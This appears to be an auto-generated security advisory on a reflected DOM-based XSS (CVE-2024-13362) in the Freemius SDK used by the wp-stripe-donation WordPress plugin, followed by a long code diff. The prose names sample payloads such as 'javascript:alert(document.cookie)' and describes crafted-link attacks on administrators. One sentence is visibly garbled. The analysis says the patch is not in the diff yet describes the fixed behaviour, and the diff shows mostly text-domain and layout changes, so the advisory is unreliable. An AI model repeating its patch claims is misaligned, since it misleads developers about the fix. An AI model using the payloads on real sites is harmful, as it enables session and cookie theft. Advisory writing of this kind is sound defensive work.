Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 6, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (wp-stripe-donation)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 3.2.6
Patched Version 3.2.9
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362: This is a Reflected DOM-Based Cross-Site Scripting (XSS) vulnerability in the Freemius SDK library (versions get_upgrade_url() (as seen in the diff with the ‘Please Upgrade Now!’ and ‘Upgrade to Professional!’ links in files like general.php, form-content.php, and key-settings.php), the generated URL contains a ‘url’ parameter that reflects user input without proper encoding. The Freemius SDK processes this parameter and writes it into the DOM via JavaScript, enabling DOM-based XSS. The exact vulnerable code paths are in the Freemius SDK’s JavaScript files (not shown in this diff, but the diff shows the plugin’s use of the vulnerable SDK method).

Exploitation requires tricking a user into clicking a crafted link. An attacker constructs a URL to the Freemius connect/checkout page (e.g., a page with a shortcode or admin page that uses wsd_fs()->get_upgrade_url()) with a malicious ‘url’ parameter value containing JavaScript payloads, such as ‘javascript:alert(document.cookie)’ or a URL with ‘data:’ or ‘vbscript:’ scheme. When the victim clicks this link, the Freemius JavaScript processes the parameter and injects it into the page DOM without proper escaping, executing the attacker’s script in the context of the victim’s browser session.

The patch is not fully visible in this diff (the diff primarily shows changes to string text domain constants and minor layout adjustments), but the Freemius SDK patch (version 2.10.2) addresses the issue by properly sanitizing and escaping the ‘url’ parameter before output. The before/after behavior: prior to the patch, the URL parameter was output directly without validation; after the patch, the SDK validates the URL against a whitelist of allowed patterns (e.g., only http/https schemes, sanitized against open redirect and XSS payloads).

If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the victim’s browser. This can lead to session hijacking, theft of authentication cookies, credential harvesting via phishing overlays, defacement, or redirection to malicious sites. Since the attack is reflected and requires user interaction, the primary impact is on individual users rather than the site itself, but can be used in targeted phishing campaigns against site administrators.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-stripe-donation/admin/view/donations-pro.php
+++ b/wp-stripe-donation/admin/view/donations-pro.php
@@ -112,6 +112,9 @@
                                     <td><?php
             echo ( 'on' === $donation->fundraising ? date( 'M d, Y', strtotime( $donation->fundraising_end_date ) ) : null );
             ?></td>
+                                    <td><?php
+            echo ucfirst( $donation->gift_aid );
+            ?></td>
                                     <?php
         }
         ?>
--- a/wp-stripe-donation/admin/view/general.php
+++ b/wp-stripe-donation/admin/view/general.php
@@ -14,7 +14,7 @@

     <div class="settings-banner">
         <h2><i class="fa fa-cogs" aria-hidden="true"></i> <?php
-_e( 'General Settings', WPSD_TXT_DOMAIN );
+_e( 'General Settings', 'wp-stripe-donation' );
 ?></h2>
     </div>

@@ -36,31 +36,31 @@
                     <tr>
                         <th scope="row">
                             <label><?php
-_e( 'Donation Admin Email', WPSD_TXT_DOMAIN );
+_e( 'Donation Admin Email', 'wp-stripe-donation' );
 ?></label>
                         </th>
-                        <td colspan="3">
+                        <td colspan="5">
                             <input type="text" name="wpsd_donation_email" id="wpsd_donation_email" class="regular-text"
                                 value="<?php
 esc_attr_e( $wpsd_donation_email );
 ?>" />
                             <br>
                             <code><?php
-_e( 'A notification email will send when a donation is made', WPSD_TXT_DOMAIN );
+_e( 'A notification email will send when a donation is made', 'wp-stripe-donation' );
 ?></code>
                         </td>
                     </tr>
                     <tr>
                         <th scope="row">
                             <label for="wpsd_disable_donation_email"><?php
-_e( 'Disable Admin Email Notification', WPSD_TXT_DOMAIN );
+_e( 'Disable Admin Email Notification', 'wp-stripe-donation' );
 ?></label>
                         </th>
-                        <td colspan="3">
+                        <td colspan="5">
                             <?php
 ?>
                                 <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                                 <?php
 ?>
@@ -69,14 +69,14 @@
                     <tr>
                         <th scope="row">
                             <label><?php
-_e( 'Form Header Title', WPSD_TXT_DOMAIN );
+_e( 'Form Header Title', 'wp-stripe-donation' );
 ?></label>
                             <span class="dashicons dashicons-info-outline wpsd-admin-icon"></span>
                             <img src="<?php
 echo esc_attr( WPSD_ASSETS . 'img/wpsd-form-header-title.webp' );
 ?>" class="wpsd-admin-help-img">
                         </th>
-                        <td colspan="3">
+                        <td colspan="5">
                             <input type="text" name="wpsd_payment_title" id="wpsd_payment_title" class="regular-text"
                                 value="<?php
 esc_attr_e( $wpsd_payment_title );
@@ -87,14 +87,14 @@
                     <tr>
                         <th scope="row">
                             <label><?php
-_e( 'Form Description', WPSD_TXT_DOMAIN );
+_e( 'Form Description', 'wp-stripe-donation' );
 ?></label>
                             <span class="dashicons dashicons-info-outline wpsd-admin-icon"></span>
                             <img src="<?php
 echo esc_attr( WPSD_ASSETS . 'img/wpsd-form-desc.webp' );
 ?>" class="wpsd-admin-help-img">
                         </th>
-                        <td colspan="3">
+                        <td colspan="5">
                             <?php
 wp_editor( wp_kses_post( $wpsd_form_description ), 'wpsd_form_description', array(
     'media_buttons' => true,
@@ -107,21 +107,21 @@
                     <tr>
                         <th scope="row">
                             <label><?php
-_e( 'Donation For Options', WPSD_TXT_DOMAIN );
+_e( 'Donation For Options', 'wp-stripe-donation' );
 ?></label>
                             <span class="dashicons dashicons-info-outline wpsd-admin-icon"></span>
                             <img src="<?php
 echo esc_attr( WPSD_ASSETS . 'img/wpsd-donation-for-options.webp' );
 ?>" class="wpsd-admin-help-img">
                         </th>
-                        <td colspan="3">
+                        <td colspan="5">
                             <textarea cols="40" style="min-height:100px;" name="wpsd_donation_options" class="regular-text"
                                 id="wpsd_donation_options"><?php
 esc_html_e( $wpsd_donation_options );
 ?></textarea>
                             <br>
                             <code><?php
-_e( 'Use comma "," separated values like: Option-1, Option-2', WPSD_TXT_DOMAIN );
+_e( 'Use comma "," separated values like: Option-1, Option-2', 'wp-stripe-donation' );
 ?></code>
                         </td>
                     </tr>
@@ -129,7 +129,7 @@
                     <tr>
                         <th scope="row">
                             <label><?php
-_e( 'Form Amounts', WPSD_TXT_DOMAIN );
+_e( 'Form Amounts', 'wp-stripe-donation' );
 ?></label>
                             <span class="dashicons dashicons-info-outline wpsd-admin-icon"></span>
                             <img src="<?php
@@ -143,12 +143,12 @@
 ?></textarea>
                             <br>
                             <code><?php
-_e( 'Use comma "," separated values like: 100,150,200', WPSD_TXT_DOMAIN );
+_e( 'Use comma "," separated values like: 100,150,200', 'wp-stripe-donation' );
 ?></code>
                         </td>
-                        <th scope="row">
+                        <th scope="row" style="text-align: right;">
                             <label><?php
-_e( 'Minimum Amount', WPSD_TXT_DOMAIN );
+_e( 'Minimum Amount', 'wp-stripe-donation' );
 ?></label>
                         </th>
                         <td>
@@ -156,19 +156,29 @@
 esc_attr_e( $wpsd_minimum_amount );
 ?>">
                         </td>
+                        <th scope="row" style="text-align: right;">
+                            <label><?php
+_e( 'Maximum Amount', 'wp-stripe-donation' );
+?></label>
+                        </th>
+                        <td>
+                            <input type="number" min="1" max="99999999" step="1" name="wpsd_max_amount" value="<?php
+esc_attr_e( $wpsd_max_amount );
+?>">
+                        </td>
                     </tr>
                     <!-- Submit Button Text -->
                     <tr>
                         <th scope="row">
                             <label><?php
-_e( 'Form Submit Button Text', WPSD_TXT_DOMAIN );
+_e( 'Form Submit Button Text', 'wp-stripe-donation' );
 ?></label>
                             <span class="dashicons dashicons-info-outline wpsd-admin-icon"></span>
                             <img src="<?php
 echo esc_attr( WPSD_ASSETS . 'img/wpsd-form-button-text.webp' );
 ?>" class="wpsd-admin-help-img">
                         </th>
-                        <td colspan="3">
+                        <td colspan="5">
                             <input type="text" name="wpsd_donate_button_text" id="wpsd_donate_button_text" class="regular-text"
                                 value="<?php
 esc_attr_e( $wpsd_donate_button_text );
@@ -179,14 +189,14 @@
                     <tr>
                         <th scope="row">
                             <label><?php
-_e( 'Currency', WPSD_TXT_DOMAIN );
+_e( 'Currency', 'wp-stripe-donation' );
 ?></label>
                             <span class="dashicons dashicons-info-outline wpsd-admin-icon"></span>
                             <img src="<?php
 echo esc_attr( WPSD_ASSETS . 'img/wpsd-form-currency.webp' );
 ?>" class="wpsd-admin-help-img">
                         </th>
-                        <td colspan="3">
+                        <td colspan="5">
                             <select name="wpsd_donate_currency" id="wpsd_donate_currency" class="regular-text">
                                 <?php
 $wpsdCurrency = $this->hm_get_all_currency();
@@ -217,14 +227,14 @@
                     <tr>
                         <th scope="row">
                             <label><?php
-_e( 'Redirect Thank You Page', WPSD_TXT_DOMAIN );
+_e( 'Redirect Thank You Page', 'wp-stripe-donation' );
 ?></label>
                         </th>
-                        <td colspan="3">
+                        <td colspan="5">
                             <?php
 ?>
                                 <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                                 <?php
 ?>
@@ -234,16 +244,16 @@
                     <tr>
                         <th scope="row">
                             <label for="wpsd_exclude_stripe_sdk"><?php
-_e( 'Exclude Stripe SDK', WPSD_TXT_DOMAIN );
+_e( 'Exclude Stripe SDK', 'wp-stripe-donation' );
 ?></label>
                         </th>
-                        <td colspan="3">
+                        <td colspan="5">
                             <input type="checkbox" name="wpsd_exclude_stripe_sdk" class="wpsd_exclude_stripe_sdk" id="wpsd_exclude_stripe_sdk" value="1"
                                 <?php
 echo ( $wpsd_exclude_stripe_sdk ? 'checked' : '' );
 ?>>
                             <code><?php
-_e( 'Check this if your form keeps loading!', WPSD_TXT_DOMAIN );
+_e( 'Check this if your form keeps loading!', 'wp-stripe-donation' );
 ?></code>
                         </td>
                     </tr>
@@ -251,30 +261,30 @@
                     <tr>
                         <th scope="row">
                             <label for="wpsd_exclude_security_token"><?php
-_e( 'Exclude Security Token', WPSD_TXT_DOMAIN );
+_e( 'Exclude Security Token', 'wp-stripe-donation' );
 ?></label>
                         </th>
-                        <td colspan="3">
+                        <td colspan="5">
                             <input type="checkbox" name="wpsd_exclude_security_token" class="wpsd_exclude_security_token" id="wpsd_exclude_security_token" value="1"
                                 <?php
 checked( $wpsd_exclude_security_token, 1 );
 ?>>
                             <code><?php
-_e( 'Enable this if you face invalid security token error', WPSD_TXT_DOMAIN );
+_e( 'Enable this if you face invalid security token error', 'wp-stripe-donation' );
 ?></code>
                         </td>
                     </tr>
                     <tr>
                         <th scope="row">
                             <label><?php
-esc_html_e( 'Shortcode', WPSD_TXT_DOMAIN );
+esc_html_e( 'Shortcode', 'wp-stripe-donation' );
 ?></label>
                         </th>
-                        <td colspan="3">
+                        <td colspan="5">
                             <input type="text" name="wpsd_shortcode" id="wpsd_shortcode" class="regular-text" value="[wp_stripe_donation]" readonly />
                             <br>
                             <code><?php
-_e( 'Copy that shortcode and apply it in any page to display donation form.', WPSD_TXT_DOMAIN );
+_e( 'Copy that shortcode and apply it in any page to display donation form.', 'wp-stripe-donation' );
 ?></code>
                         </td>
                     </tr>
@@ -283,7 +293,7 @@
                 <p class="submit">
                     <button id="updateGeneralSettings" name="updateGeneralSettings" class="button button-primary wpsd-button">
                         <i class="fa fa-check-circle" aria-hidden="true"></i> <?php
-esc_attr_e( 'Save Settings', WPSD_TXT_DOMAIN );
+esc_attr_e( 'Save Settings', 'wp-stripe-donation' );
 ?>
                     </button>
                 </p>
--- a/wp-stripe-donation/admin/view/key-settings.php
+++ b/wp-stripe-donation/admin/view/key-settings.php
@@ -28,7 +28,7 @@
 <div id="wpsd-wrap-all" class="wrap wpsd-key-settings">

     <div class="settings-banner">
-        <h2><i class="fa fa-key" aria-hidden="true"></i> <?php _e('Stripe Key Settings', WPSD_TXT_DOMAIN); ?></h2>
+        <h2><i class="fa fa-key" aria-hidden="true"></i> <?php _e('Stripe Key Settings', 'wp-stripe-donation'); ?></h2>
     </div>

     <?php
@@ -44,7 +44,7 @@
                 <table class="form-table">
                     <tr class="wpsd_private_key">
                         <th scope="row">
-                            <label for="wpsd_private_key"><?php _e('Publishable Key', WPSD_TXT_DOMAIN); ?>:</label>
+                            <label for="wpsd_private_key"><?php _e('Publishable Key', 'wp-stripe-donation'); ?>:</label>
                         </th>
                         <td>
                             <input type="text" name="wpsd_private_key" id="wpsd_private_key" class="regular-text"
@@ -54,7 +54,7 @@
                     </tr>
                     <tr class="wpsd_secret_key">
                         <th scope="row">
-                            <label for="wpsd_secret_key"><?php _e('Secret Key', WPSD_TXT_DOMAIN); ?>:</label>
+                            <label for="wpsd_secret_key"><?php _e('Secret Key', 'wp-stripe-donation'); ?>:</label>
                         </th>
                         <td>
                             <input type="password" name="wpsd_secret_key" id="wpsd_secret_key" class="regular-text"
@@ -66,14 +66,14 @@
                 <hr>
                 <p class="submit">
                     <button id="updateKeySettings" name="updateKeySettings" class="button button-primary wpsd-button">
-                        <i class="fa fa-check-circle" aria-hidden="true"></i> <?php _e('Save Settings', WPSD_TXT_DOMAIN); ?>
+                        <i class="fa fa-check-circle" aria-hidden="true"></i> <?php _e('Save Settings', 'wp-stripe-donation'); ?>
                     </button>
                 </p>
             </form>
             <br><br>
-            <h3><?php _e('Where to Find Stripe Keys', WPSD_TXT_DOMAIN); ?>?</h3>
+            <h3><?php _e('Where to Find Stripe Keys', 'wp-stripe-donation'); ?>?</h3>
             <p>Please go to your <a href="https://dashboard.stripe.com/login" target="_blank">Stripe</a> account and find the keys like the below image:</p>
-            <img src="<?php echo esc_attr( WPSD_ASSETS . 'img/striipe-api-keys.jpg' ); ?>" width="800" style="border:4px solid #CCC; border-radius: 10px;">
+            <img src="<?php echo esc_attr( WPSD_ASSETS . 'img/stripe-api-keys-connect.webp' ); ?>" width="100%" style="border:4px solid #CCC; border-radius: 10px;">
         </div>

         <?php $this->wpsd_admin_sidebar(); ?>
--- a/wp-stripe-donation/admin/view/partial/form-content.php
+++ b/wp-stripe-donation/admin/view/partial/form-content.php
@@ -15,13 +15,14 @@
 wp_nonce_field( 'wpsd_template_content_action', 'wpsd_template_content_nonce_field' );
 ?>
     <table class="wpsd-form-content-settings">
+        <!-- Template Color -->
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Template Color', WPSD_TXT_DOMAIN );
+_e( 'Template Color', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <div class="wpsd-template-selector">
                     <?php
 for ($i = 0; $i < 5; $i++) {
@@ -53,7 +54,7 @@
         <tr>
             <th scope="row">
                 <label for="wpsd_display_banner"><?php
-_e( 'Display Banner', WPSD_TXT_DOMAIN );
+_e( 'Display Banner', 'wp-stripe-donation' );
 ?></label>
                 <span class="dashicons dashicons-info-outline wpsd-admin-icon"></span>
                 <img src="<?php
@@ -67,15 +68,15 @@
             </td>
             <th scope="row" style="text-align: right;">
                 <label><?php
-_e( 'Banner', WPSD_TXT_DOMAIN );
+_e( 'Banner', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td>
+            <td colspan="3">
                 <input type="hidden" name="wpsd_form_banner" id="wpsd_form_banner" value="<?php
 esc_attr_e( $wpsd_form_banner );
 ?>" class="regular-text" />
                 <input type='button' class="button-primary" value="<?php
-esc_attr_e( 'Select a banner', WPSD_TXT_DOMAIN );
+esc_attr_e( 'Select a banner', 'wp-stripe-donation' );
 ?>" id="wpsd_media_manager" data-image-type="full" />
                 <?php
 $wpsdFormBannerImage = '';
@@ -97,26 +98,28 @@
                 </div>
             </td>
         </tr>
+        <!-- Hide All Form Label -->
         <tr>
             <th scope="row">
                 <label for="wpsd_hide_label"><?php
-_e( 'Hide All Form Label', WPSD_TXT_DOMAIN );
+_e( 'Hide All Form Label', 'wp-stripe-donation' );
 ?></label>
                 <span class="dashicons dashicons-info-outline wpsd-admin-icon"></span>
                 <img src="<?php
 echo esc_attr( WPSD_ASSETS . 'img/wpsd-form-label.webp' );
 ?>" class="wpsd-admin-help-img">
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <input type="checkbox" name="wpsd_hide_label" id="wpsd_hide_label" value="1" <?php
 echo ( $wpsd_hide_label ? 'checked' : '' );
 ?> >
             </td>
         </tr>
+        <!-- Hide Donation For -->
         <tr>
             <th scope="row">
                 <label for="wpsd_hide_donation_for"><?php
-_e( 'Hide Donation For', WPSD_TXT_DOMAIN );
+_e( 'Hide Donation For', 'wp-stripe-donation' );
 ?></label>
                 <span class="dashicons dashicons-info-outline wpsd-admin-icon"></span>
                 <img src="<?php
@@ -124,167 +127,192 @@
 ?>" class="wpsd-admin-help-img">
                 <br>
                 <small><?php
-_e( 'If you hide this, please make sure you must have only one donation for available in general settings.', WPSD_TXT_DOMAIN );
+_e( 'If you hide this, please make sure you must have only one donation for available in general settings.', 'wp-stripe-donation' );
 ?></small>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
             <th scope="row" style="text-align: right;">
                 <label><?php
-_e( 'Donate/Payment For Label', WPSD_TXT_DOMAIN );
+_e( 'Donate/Payment For Label', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td>
+            <td colspan="3">
                 <input type="text" name="wpsd_donation_for_label" class="medium-text" placeholder="<?php
-esc_attr_e( 'Donation/Payment For', WPSD_TXT_DOMAIN );
+esc_attr_e( 'Donation/Payment For', 'wp-stripe-donation' );
 ?>"
                     value="<?php
 esc_attr_e( $wpsd_donation_for_label );
 ?>">
             </td>
         </tr>
+        <!-- Name Label -->
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Name Label', WPSD_TXT_DOMAIN );
+_e( 'Name Label', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <input type="text" name="wpsd_donator_name_label" class="medium-text" placeholder="<?php
-esc_attr_e( 'Full Name', WPSD_TXT_DOMAIN );
+esc_attr_e( 'Full Name', 'wp-stripe-donation' );
 ?>"
                     value="<?php
 esc_attr_e( $wpsd_donator_name_label );
 ?>">
             </td>
         </tr>
+        <!-- Email Label -->
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Email Label', WPSD_TXT_DOMAIN );
+_e( 'Email Label', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <input type="text" name="wpsd_donator_email_label" class="medium-text" placeholder="<?php
-esc_attr_e( 'Email', WPSD_TXT_DOMAIN );
+esc_attr_e( 'Email', 'wp-stripe-donation' );
 ?>"
                     value="<?php
 esc_attr_e( $wpsd_donator_email_label );
 ?>">
             </td>
         </tr>
+        <!-- Display Address -->
         <tr>
             <th scope="row">
                 <label for="wpsd_display_address"><?php
-_e( 'Display Address', WPSD_TXT_DOMAIN );
+_e( 'Display Address', 'wp-stripe-donation' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
             <th scope="row" style="text-align: right;">
+                <label for="wpsd_address_required"><?php
+_e( 'Required', 'wp-stripe-donation' );
+?>* ?</label>
+            </th>
+            <td colspan="3">
+                <?php
+?>
+                    <span><?php
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-stripe-donation' ) . '</a>';
+?></span>
+                    <?php
+?>
+            </td>
+        </tr>
+        <!-- Address Street Label -->
+        <tr>
+            <th scope="row">
                 <label for="wpsd_show_captcha"><?php
-_e( 'Address Street Label', WPSD_TXT_DOMAIN );
+_e( 'Address Street Label', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
         </tr>
+        <!-- Address Line-2 Label -->
         <tr>
             <th scope="row">
                 <label for="wpsd_show_captcha"><?php
-_e( 'Address Line-2 Label', WPSD_TXT_DOMAIN );
+_e( 'Address Line-2 Label', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
         </tr>
+        <!-- Address City Label -->
         <tr>
             <th scope="row">
                 <label for="wpsd_show_captcha"><?php
-_e( 'Address City Label', WPSD_TXT_DOMAIN );
+_e( 'Address City Label', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
         </tr>
+        <!-- Address State Label -->
         <tr class="wpsd_address_state_label">
             <th scope="row">
                 <label for="wpsd_show_captcha"><?php
-_e( 'Address State Label', WPSD_TXT_DOMAIN );
+_e( 'Address State Label', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
         </tr>
+        <!-- Postal Code Label -->
         <tr>
             <th scope="row">
                 <label for="wpsd_show_captcha"><?php
-_e( 'Postal Code Label', WPSD_TXT_DOMAIN );
+_e( 'Postal Code Label', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
         </tr>
+        <!-- Country Label -->
         <tr>
             <th scope="row">
                 <label for="wpsd_show_captcha"><?php
-_e( 'Country Label', WPSD_TXT_DOMAIN );
+_e( 'Country Label', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
@@ -293,37 +321,52 @@
         <tr class="wpsd_show_comments">
             <th scope="row">
                 <label for="wpsd_show_comments"><?php
-_e( 'Show Comments', WPSD_TXT_DOMAIN );
+_e( 'Show Comments', 'wp-stripe-donation' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
             <th scope="row" style="text-align: right;">
                 <label><?php
-_e( 'Comments Label', WPSD_TXT_DOMAIN );
+_e( 'Comments Label', 'wp-stripe-donation' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-stripe-donation' ) . '</a>';
+?></span>
+                    <?php
+?>
+            </td>
+            <th scope="row" style="text-align: right;">
+                <label for="wpsd_comments_required"><?php
+_e( 'Required', 'wp-stripe-donation' );
+?>* ?</label>
+            </th>
+            <td>
+                <?php
+?>
+                    <span><?php
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
         </tr>
+        <!-- Show Number Captcha -->
         <tr class="wpsd_show_captcha">
             <th scope="row">
                 <label for="wpsd_show_captcha"><?php
-_e( 'Show Captcha', WPSD_TXT_DOMAIN );
+_e( 'Show Number Captcha', 'wp-stripe-donation' );
 ?></label>
             </th>
             <td>
@@ -333,10 +376,10 @@
             </td>
             <th scope="row" style="text-align: right;">
                 <label><?php
-_e( 'Captcha Label', WPSD_TXT_DOMAIN );
+_e( 'Captcha Label', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td>
+            <td colspan="3">
                 <input type="text" name="wpsd_captcha_label" class="medium-text" placeholder="<?php
 esc_attr_e( $wpsd_captcha_label );
 ?>" value="<?php
@@ -344,43 +387,46 @@
 ?>">
             </td>
         </tr>
+        <!-- Amount Label -->
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Amount Label', WPSD_TXT_DOMAIN );
+_e( 'Amount Label', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <input type="text" name="wpsd_donate_amount_label" class="medium-text" placeholder="<?php
-esc_attr_e( 'Amount', WPSD_TXT_DOMAIN );
+esc_attr_e( 'Amount', 'wp-stripe-donation' );
 ?>"
                     value="<?php
 esc_attr_e( $wpsd_donate_amount_label );
 ?>">
             </td>
         </tr>
+        <!-- Other Amount Text -->
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Other Amount Text', WPSD_TXT_DOMAIN );
+_e( 'Other Amount Text', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <input type="text" name="wpsd_other_amount_text" class="medium-text" placeholder="<?php
-esc_attr_e( 'Other Amount', WPSD_TXT_DOMAIN );
+esc_attr_e( 'Other Amount', 'wp-stripe-donation' );
 ?>"
                     value="<?php
 esc_attr_e( $wpsd_other_amount_text );
 ?>">
             </td>
         </tr>
+        <!-- Card Element Label -->
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Card Element Label', WPSD_TXT_DOMAIN );
+_e( 'Card Element Label', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <input type="text" name="wpsd_card_element_label" class="medium-text" placeholder="<?php
 esc_attr_e( $wpsd_card_element_label );
 ?>"
@@ -389,78 +435,83 @@
 ?>">
             </td>
         </tr>
+        <!-- Form Width -->
         <tr>
             <th scope="row">
                 <label for="wpsd_form_width"><?php
-_e( 'Form Width', WPSD_TXT_DOMAIN );
+_e( 'Form Width', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
         </tr>
+        <!-- Form Header Type -->
         <tr>
             <th scope="row">
                 <label for="wpsd_form_header_type"><?php
-_e( 'Form Header Type', WPSD_TXT_DOMAIN );
+_e( 'Form Header Type', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
         </tr>
+        <!-- Form Button Width -->
         <tr>
             <th scope="row">
                 <label for="wpsd_form_button_width"><?php
-_e( 'Form Button Width', WPSD_TXT_DOMAIN );
+_e( 'Form Button Width', 'wp-stripe-donation' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
 ?></span>
